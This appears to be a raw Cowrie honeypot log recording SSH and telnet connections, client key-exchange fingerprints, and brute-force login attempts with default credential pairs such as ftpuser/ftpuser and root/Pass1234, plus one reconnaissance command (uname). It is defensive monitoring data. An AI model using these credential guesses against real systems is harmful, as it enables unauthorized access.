{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40554,"dst_ip":"10.17.0.5","dst_port":22,"session":"24b55d227c95","protocol":"ssh","message":"New connection: 176.65.132.254:40554 (10.17.0.5:22) [session: 24b55d227c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:42.923188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:42.927765Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.016090Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48090,"dst_ip":"159.203.135.109","dst_port":23,"session":"205d60f14bca","protocol":"telnet","message":"New connection: 136.144.139.78:48090 (159.203.135.109:23) [session: 205d60f14bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.151098Z"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.267030Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.493778Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.496667Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.582220Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.587369Z","src_ip":"176.65.132.254","session":"24b55d227c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.709585666656494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:43.638009Z","src_ip":"62.210.97.77","session":"33c8687aeeb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40568,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee28f6f8717a","protocol":"ssh","message":"New connection: 176.65.132.254:40568 (10.17.0.5:22) [session: ee28f6f8717a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:47.093279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:47.098207Z","src_ip":"176.65.132.254","session":"ee28f6f8717a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:47.180240Z","src_ip":"176.65.132.254","session":"ee28f6f8717a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.374834060668945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:47.428133Z","src_ip":"62.210.97.77","session":"e4ef4bf75608","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:47.452514Z","src_ip":"176.65.132.254","session":"ee28f6f8717a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60098,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f5c03b60a1f","protocol":"telnet","message":"New connection: 62.210.97.77:60098 (10.17.0.5:23) [session: 9f5c03b60a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:48.136712Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:48.559037Z","src_ip":"176.65.132.254","session":"ee28f6f8717a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.318077087402344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:49.203737Z","src_ip":"62.210.97.77","session":"3813b1a51fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b9db07eb17","protocol":"telnet","message":"New connection: 62.210.97.77:41898 (10.17.0.5:23) [session: e7b9db07eb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:49.611153Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41914,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bca1201b713","protocol":"telnet","message":"New connection: 62.210.97.77:41914 (10.17.0.5:23) [session: 5bca1201b713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:49.761206Z"}
{"eventid":"cowrie.session.closed","duration":30.122900247573853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:50.054789Z","src_ip":"136.144.139.78","session":"55161c59864f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730894088745117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:50.061155Z","src_ip":"136.144.139.78","session":"bc136a2c7569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41920,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c43307c9bf","protocol":"telnet","message":"New connection: 62.210.97.77:41920 (10.17.0.5:23) [session: e7c43307c9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:50.560301Z"}
{"eventid":"cowrie.session.closed","duration":30.189597845077515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:51.100605Z","src_ip":"136.144.139.78","session":"850bb951b0d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41934,"dst_ip":"10.17.0.5","dst_port":23,"session":"29bf942f2a61","protocol":"telnet","message":"New connection: 62.210.97.77:41934 (10.17.0.5:23) [session: 29bf942f2a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:51.356794Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c6133fd3d5","protocol":"ssh","message":"New connection: 176.65.132.254:40598 (10.17.0.5:22) [session: c3c6133fd3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:51.675747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:51.680679Z","src_ip":"176.65.132.254","session":"c3c6133fd3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:51.762697Z","src_ip":"176.65.132.254","session":"c3c6133fd3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:52.046770Z","src_ip":"176.65.132.254","session":"c3c6133fd3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:53.143399Z","src_ip":"176.65.132.254","session":"c3c6133fd3d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41938,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb62ebb5f438","protocol":"telnet","message":"New connection: 62.210.97.77:41938 (10.17.0.5:23) [session: bb62ebb5f438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:53.362467Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e50366a040c6","protocol":"telnet","message":"New connection: 62.210.97.77:41944 (10.17.0.5:23) [session: e50366a040c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:54.015021Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":52548,"dst_ip":"10.17.0.5","dst_port":22,"session":"10052a8ef137","protocol":"ssh","message":"New connection: 156.232.13.218:52548 (10.17.0.5:22) [session: 10052a8ef137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:55.081879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:55.087559Z","src_ip":"156.232.13.218","session":"10052a8ef137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.141845703125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:55.144730Z","src_ip":"62.210.97.77","session":"9e858f43b7d7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:55.168560Z","src_ip":"156.232.13.218","session":"10052a8ef137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44895601272583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:55.292589Z","src_ip":"136.144.139.78","session":"ca4a49ae5146","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pa$$w0rd","message":"login attempt [postgres/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:55.494744Z","src_ip":"156.232.13.218","session":"10052a8ef137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59534,"dst_ip":"10.17.0.5","dst_port":22,"session":"59c01d1129b2","protocol":"ssh","message":"New connection: 176.65.132.254:59534 (10.17.0.5:22) [session: 59c01d1129b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:56.151508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:56.155582Z","src_ip":"176.65.132.254","session":"59c01d1129b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:56.242188Z","src_ip":"176.65.132.254","session":"59c01d1129b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:56.488247Z","src_ip":"176.65.132.254","session":"59c01d1129b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:56.571482Z","src_ip":"156.232.13.218","session":"10052a8ef137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":38300,"dst_ip":"159.203.135.109","dst_port":23,"session":"a36c633507f9","protocol":"telnet","message":"New connection: 136.144.139.78:38300 (159.203.135.109:23) [session: a36c633507f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:56.929493Z"}
{"eventid":"cowrie.session.closed","duration":35.58843994140625,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:57.460200Z","src_ip":"62.210.97.77","session":"a6268141e7f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"5947f1db0fbb","protocol":"telnet","message":"New connection: 62.210.97.77:41952 (10.17.0.5:23) [session: 5947f1db0fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:57.511820Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:57.573384Z","src_ip":"176.65.132.254","session":"59c01d1129b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41962,"dst_ip":"10.17.0.5","dst_port":23,"session":"773d109b0d44","protocol":"telnet","message":"New connection: 62.210.97.77:41962 (10.17.0.5:23) [session: 773d109b0d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:57.690809Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56226,"dst_ip":"10.17.0.5","dst_port":23,"session":"58478817cd26","protocol":"telnet","message":"New connection: 62.210.97.77:56226 (10.17.0.5:23) [session: 58478817cd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:58.699914Z"}
{"eventid":"cowrie.session.closed","duration":30.732851266860962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:59.206747Z","src_ip":"136.144.139.78","session":"4dcc3e139ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2164466381073,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:00.060037Z","src_ip":"62.210.97.77","session":"9ba80bdb0106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59546,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a8d309cf92c","protocol":"ssh","message":"New connection: 176.65.132.254:59546 (10.17.0.5:22) [session: 8a8d309cf92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:00.481760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:00.485971Z","src_ip":"176.65.132.254","session":"8a8d309cf92c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 